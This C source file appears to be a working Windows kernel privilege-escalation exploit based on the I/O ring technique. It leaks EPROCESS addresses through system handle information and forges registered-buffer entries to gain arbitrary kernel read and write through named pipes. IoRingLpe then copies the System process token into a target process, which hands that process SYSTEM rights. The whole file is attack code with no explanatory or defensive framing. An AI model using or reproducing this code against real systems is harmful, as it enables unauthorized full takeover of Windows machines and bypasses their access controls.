#include <windows.h>
#include "ioring.h"

HIORING hIoRing = NULL;
PIORING_OBJECT pIoRing = NULL;
HANDLE hInPipe = INVALID_HANDLE_VALUE;
HANDLE hOutPipe = INVALID_HANDLE_VALUE;
HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;

HRESULT GetObjPtr(PVOID* ppObjAddr, ULONG ulPid, HANDLE handle) {
    HRESULT ret;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
    ULONG ulBytes = 0;
    NTSTATUS ntStatus = STATUS_SUCCESS;

    while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
        if (pHandleInfo) {
            pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * (SIZE_T) ulBytes);
        } else {
            pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T) ulBytes);
        }
    }

    if (ntStatus != STATUS_SUCCESS) {
        dprintf("NtQuerySystemInformation() failed (NTSTATUS=0x%X)", ntStatus);
        ret = E_FAIL;
        goto done;
    }

    if (pHandleInfo == NULL) {
        dprintf("Heap memory allocation failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (USHORT) handle)) {
            *ppObjAddr = pHandleInfo->Handles[i].Object;
            ret = S_OK;
            break;
        }
    }

done:
    if (pHandleInfo) {
        HeapFree(GetProcessHeap(), 0, pHandleInfo);
    }
    return ret;
}

HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr) {
    IORING_CREATE_FLAGS ioRingFlags = { 0 };

    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;

    if (CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing) != S_OK) {
        dprintf("Call to CreateIoRing() failed (0x%X)", GetLastError());
        return E_FAIL;
    }

    if (GetObjPtr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing) != S_OK) {
        dprintf("Failed to get the IoRing object address");
        return E_FAIL;
    }

    pIoRing = *ppIoRingAddr;

    hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);

    if ((hInPipe == INVALID_HANDLE_VALUE) || (hOutPipe == INVALID_HANDLE_VALUE)) {
        dprintf("Named pipe creation failure (0x%X)", GetLastError());
        return E_FAIL;
    }

    hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if ((hInPipeClient == INVALID_HANDLE_VALUE) || (hOutPipeClient == INVALID_HANDLE_VALUE)) {
        dprintf("Error while opening named pipes (0x%X)", GetLastError());
        return E_FAIL;
    }

    return S_OK;
}

HRESULT IoRingRead(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen) {
    HRESULT ret;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };

    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (!pMcBufferEntry) {
        dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    pMcBufferEntry->Address = (PVOID)pReadAddr;
    pMcBufferEntry->Length = ulReadLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;

    if (BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) {
        dprintf("Call to BuildIoRingWriteFile() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) {
        dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) {
        dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    if (cqe.ResultCode != S_OK) {
        ret = cqe.ResultCode;
        dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret);
        goto done;
    }

    if (!ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)) {
        dprintf("Call to ReadFile() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    ret = S_OK;

done:
    if (pMcBufferEntry) {
        VirtualFree(pMcBufferEntry, 0, MEM_RELEASE);
    }
    return ret;
}

HRESULT IoRingWrite(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen) {
    HRESULT ret;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };

    if (!WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
    {
        dprintf("Call to WriteFile() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (!pMcBufferEntry)
    {
        dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    pMcBufferEntry->Address = (PVOID)pWriteAddr;
    pMcBufferEntry->Length = ulWriteLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;

    if (BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) {
        dprintf("Call to BuildIoRingReadFile() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) {
        dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) {
        dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError());
        ret = E_FAIL;
        goto done;
    }

    if (cqe.ResultCode != S_OK) {
        ret = cqe.ResultCode;
        dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret);
        goto done;
    }

    ret = S_OK;

done:
    if (pMcBufferEntry) {
        VirtualFree(pMcBufferEntry, 0, MEM_RELEASE);
    }
    return ret;
}

HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt) {
    HANDLE hProc = NULL;
    ULONG64 ullSystemEPROCaddr = 0;
    ULONG64 ullTargEPROCaddr = 0;
    PVOID pFakeRegBuffers = NULL;
    _HIORING* phIoRing = NULL;
    ULONG64 ullSysToken = 0;
    char null[0x10] = { 0 };

    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);

    if (!hProc) {
        dprintf("Call to OpenProcess() failed (0x%X)", GetLastError());
        return E_FAIL;
    }

    if (GetObjPtr((PVOID*)&ullSystemEPROCaddr, 4, (HANDLE)4) != S_OK) {
        dprintf("Unable to get System EPROC address");
        return E_FAIL;
    }

    dprintf("System EPROC address: %llx", ullSystemEPROCaddr);

    if (GetObjPtr((PVOID*)&ullTargEPROCaddr, GetCurrentProcessId(), hProc) != S_OK) {
        dprintf("Unable to get Current EPROC address");
        return E_FAIL;
    }

    dprintf("Current process EPROC address: %llx", ullTargEPROCaddr);

    pFakeRegBuffers = VirtualAlloc((LPVOID)ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr) {
        dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
        return E_FAIL;
    }

    memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);

    phIoRing = *(_HIORING**)&hIoRing;
    phIoRing->RegBufferArray = pFakeRegBuffers;
    phIoRing->BufferArraySize = ulFakeRegBufferCnt;

    if (IoRingRead(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) {
        dprintf("Unable to read System token through a I/O ring read operation");
        return E_FAIL;
    }

    dprintf("System token is at: %llx", ullSysToken);

    if (IoRingWrite(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) {
        dprintf("Unable to write System token through a I/O ring write operation");
        return E_FAIL;
    }

    IoRingWrite(pFakeRegBuffers, (ULONG64)&pIoRing->RegBuffersCount, &null, 0x10);

    return S_OK;
}